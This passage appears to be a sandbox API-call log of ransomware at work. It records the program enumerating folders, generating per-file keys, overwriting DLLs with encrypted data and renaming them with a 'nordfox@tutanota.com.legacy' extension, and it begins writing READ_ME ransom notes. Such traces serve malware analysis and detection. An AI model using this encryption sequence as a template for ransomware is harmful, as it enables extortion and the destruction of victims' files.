lpBuffer=0x2f40050, nNumberOfBytesToRead=0x3b0c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesRead=0x2e1f9bc*=0x3b0c8, lpOverlapped=0x0) returned 1 [0110.730] SetFilePointer (in: hFile=0x59c, lDistanceToMove=-241864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0110.730] WriteFile (in: hFile=0x59c, lpBuffer=0x5c67b0*, nNumberOfBytesToWrite=0x3b0c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c67b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3b0c8, lpOverlapped=0x0) returned 1 [0110.732] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0110.734] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c67b0 | out: hHeap=0x520000) returned 1 [0110.737] SetFilePointer (in: hFile=0x59c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3b0c8 [0110.737] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0110.737] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0110.738] WriteFile (in: hFile=0x59c, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0110.739] WriteFile (in: hFile=0x59c, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0110.739] CloseHandle (hObject=0x59c) returned 1 [0110.739] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0110.739] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0110.739] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\dll1\\wdscore.dll" (normalized: "c:\\windows10upgrade\\dll1\\wdscore.dll"), lpNewFileName="\\Windows10Upgrade\\dll1\\wdscore.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\dll1\\wdscore.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0110.741] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ab0 | out: hHeap=0x520000) returned 1 [0110.741] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0110.741] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0110.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0110.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5088 [0110.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0110.741] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5088 | out: pbBuffer=0x5c5088) returned 1 [0110.742] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0110.742] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\dll1\\cosqueryxp.dll", dwFileAttributes=0x80) returned 1 [0110.742] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0110.742] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ab0 [0110.742] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0110.742] CreateFileW (lpFileName="\\Windows10Upgrade\\dll1\\cosqueryxp.dll" (normalized: "c:\\windows10upgrade\\dll1\\cosqueryxp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x59c [0110.743] GetFileSizeEx (in: hFile=0x59c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=132296) returned 1 [0110.743] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x204c8) returned 0x5c67b0 [0110.743] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x204c8) returned 0x5e6c80 [0110.743] ReadFile (in: hFile=0x59c, lpBuffer=0x5c67b0, nNumberOfBytesToRead=0x204c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c67b0*, lpNumberOfBytesRead=0x2e1f9bc*=0x204c8, lpOverlapped=0x0) returned 1 [0110.759] SetFilePointer (in: hFile=0x59c, lDistanceToMove=-132296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0110.759] WriteFile (in: hFile=0x59c, lpBuffer=0x5e6c80*, nNumberOfBytesToWrite=0x204c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e6c80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x204c8, lpOverlapped=0x0) returned 1 [0110.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c67b0 | out: hHeap=0x520000) returned 1 [0110.761] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6c80 | out: hHeap=0x520000) returned 1 [0110.764] SetFilePointer (in: hFile=0x59c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x204c8 [0110.764] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0110.764] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0110.765] WriteFile (in: hFile=0x59c, lpBuffer=0x5c5088*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0110.766] WriteFile (in: hFile=0x59c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0110.766] CloseHandle (hObject=0x59c) returned 1 [0110.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5088 | out: hHeap=0x520000) returned 1 [0110.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0110.766] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\dll1\\cosqueryxp.dll" (normalized: "c:\\windows10upgrade\\dll1\\cosqueryxp.dll"), lpNewFileName="\\Windows10Upgrade\\dll1\\cosqueryxp.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\dll1\\cosqueryxp.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0110.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ab0 | out: hHeap=0x520000) returned 1 [0110.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0110.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0110.769] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0110.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0110.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cb8 | out: hHeap=0x520000) returned 1 [0110.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539b38 | out: hHeap=0x520000) returned 1 [0110.769] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\dll2\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc691cae0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5f18 [0110.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0110.769] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0110.769] GetLastError () returned 0x0 [0110.770] SetLastError (dwErrCode=0x0) [0110.770] GetLastError () returned 0x0 [0110.770] SetLastError (dwErrCode=0x0) [0110.770] GetLastError () returned 0x0 [0110.770] SetLastError (dwErrCode=0x0) [0110.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0110.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d500 [0110.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0110.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c59d8 [0110.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c59d8 | out: hHeap=0x520000) returned 1 [0110.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0110.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0110.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0110.770] FindNextFileW (in: hFindFile=0x5c5f18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc691cae0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0110.771] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0110.771] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0110.771] GetLastError () returned 0x0 [0110.771] SetLastError (dwErrCode=0x0) [0110.771] GetLastError () returned 0x0 [0110.771] SetLastError (dwErrCode=0x0) [0110.771] GetLastError () returned 0x0 [0110.771] SetLastError (dwErrCode=0x0) [0110.771] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0110.771] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0110.771] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0110.771] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.771] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5e58 [0110.771] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5e58 | out: hHeap=0x520000) returned 1 [0110.771] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0110.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0110.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0110.772] FindNextFileW (in: hFindFile=0x5c5f18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc691cae0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc691cae0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc691cae0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0110.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0110.772] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0110.772] GetLastError () returned 0x0 [0110.772] SetLastError (dwErrCode=0x0) [0110.772] GetLastError () returned 0x0 [0110.772] SetLastError (dwErrCode=0x0) [0110.772] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0110.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0110.772] GetLastError () returned 0x0 [0110.772] SetLastError (dwErrCode=0x0) [0110.772] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.773] FindNextFileW (in: hFindFile=0x5c5f18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37e09b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37e09b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xb8400, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 1 [0110.773] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0110.773] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0110.773] GetLastError () returned 0x0 [0110.773] SetLastError (dwErrCode=0x0) [0110.773] GetLastError () returned 0x0 [0110.773] SetLastError (dwErrCode=0x0) [0110.773] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0110.773] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0110.773] GetLastError () returned 0x0 [0110.773] SetLastError (dwErrCode=0x0) [0110.773] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.773] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.773] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d768 [0110.773] FindNextFileW (in: hFindFile=0x5c5f18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37e09b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37e09b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xb8400, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 0 [0110.773] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d6b8 [0110.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0110.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0110.774] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0110.774] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35a8 | out: pbBuffer=0x5c35a8) returned 1 [0110.774] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\dll2\\webservices.dll", dwFileAttributes=0x80) returned 1 [0110.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0110.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x52e1d8 [0110.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0110.775] CreateFileW (lpFileName="\\Windows10Upgrade\\dll2\\webservices.dll" (normalized: "c:\\windows10upgrade\\dll2\\webservices.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a0 [0110.775] GetFileSizeEx (in: hFile=0x5a0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=754688) returned 1 [0110.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb8400) returned 0x6f4020 [0110.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb8400) returned 0x3129020 [0110.780] ReadFile (in: hFile=0x5a0, lpBuffer=0x6f4020, nNumberOfBytesToRead=0xb8400, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f4020*, lpNumberOfBytesRead=0x2e1f9bc*=0xb8400, lpOverlapped=0x0) returned 1 [0110.819] SetFilePointer (in: hFile=0x5a0, lDistanceToMove=-754688, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0110.819] WriteFile (in: hFile=0x5a0, lpBuffer=0x3129020*, nNumberOfBytesToWrite=0xb8400, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3129020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb8400, lpOverlapped=0x0) returned 1 [0110.822] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6f4020 | out: hHeap=0x520000) returned 1 [0110.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3129020 | out: hHeap=0x520000) returned 1 [0110.830] SetFilePointer (in: hFile=0x5a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb8400 [0110.830] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0110.830] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0110.830] WriteFile (in: hFile=0x5a0, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0110.831] WriteFile (in: hFile=0x5a0, lpBuffer=0x5c35a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c35a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0110.831] CloseHandle (hObject=0x5a0) returned 1 [0110.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0110.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0110.831] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\dll2\\webservices.dll" (normalized: "c:\\windows10upgrade\\dll2\\webservices.dll"), lpNewFileName="\\Windows10Upgrade\\dll2\\webservices.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\dll2\\webservices.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0110.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52e1d8 | out: hHeap=0x520000) returned 1 [0110.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0110.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d768 | out: hHeap=0x520000) returned 1 [0110.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0110.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0110.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b18 | out: hHeap=0x520000) returned 1 [0110.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0110.833] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b3c1b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc6a27bc2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5c58 [0110.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0110.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f50 [0110.833] GetLastError () returned 0x0 [0110.833] SetLastError (dwErrCode=0x0) [0110.833] GetLastError () returned 0x0 [0110.833] SetLastError (dwErrCode=0x0) [0110.833] GetLastError () returned 0x0 [0110.833] SetLastError (dwErrCode=0x0) [0110.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0110.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d030 [0110.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0110.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0110.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5c98 [0110.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5c98 | out: hHeap=0x520000) returned 1 [0110.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0110.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0110.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0110.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0110.834] FindNextFileW (in: hFindFile=0x5c5c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b3c1b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc6a27bc2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0110.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f50 | out: hHeap=0x520000) returned 1 [0110.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c80 [0110.834] GetLastError () returned 0x0 [0110.834] SetLastError (dwErrCode=0x0) [0110.834] GetLastError () returned 0x0 [0110.834] SetLastError (dwErrCode=0x0) [0110.834] GetLastError () returned 0x0 [0110.834] SetLastError (dwErrCode=0x0) [0110.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0110.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0110.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5a58 | out: hHeap=0x520000) returned 1 [0110.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20318 | out: hHeap=0x520000) returned 1 [0110.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0110.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0110.835] FindNextFileW (in: hFindFile=0x5c5c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a5195, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3a5195, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="amd64", cAlternateFileName="")) returned 1 [0110.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c80 | out: hHeap=0x520000) returned 1 [0110.835] GetLastError () returned 0x0 [0110.835] SetLastError (dwErrCode=0x0) [0110.835] GetLastError () returned 0x0 [0110.835] SetLastError (dwErrCode=0x0) [0110.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5790b8 | out: hHeap=0x520000) returned 1 [0110.835] GetLastError () returned 0x0 [0110.835] SetLastError (dwErrCode=0x0) [0110.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ba8 | out: hHeap=0x520000) returned 1 [0110.835] GetLastError () returned 0x0 [0110.835] SetLastError (dwErrCode=0x0) [0110.835] GetLastError () returned 0x0 [0110.835] SetLastError (dwErrCode=0x0) [0110.835] GetLastError () returned 0x0 [0110.835] SetLastError (dwErrCode=0x0) [0110.835] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\READ_ME.legacy" (normalized: "c:\\windows10upgrade\\resources\\amd64\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 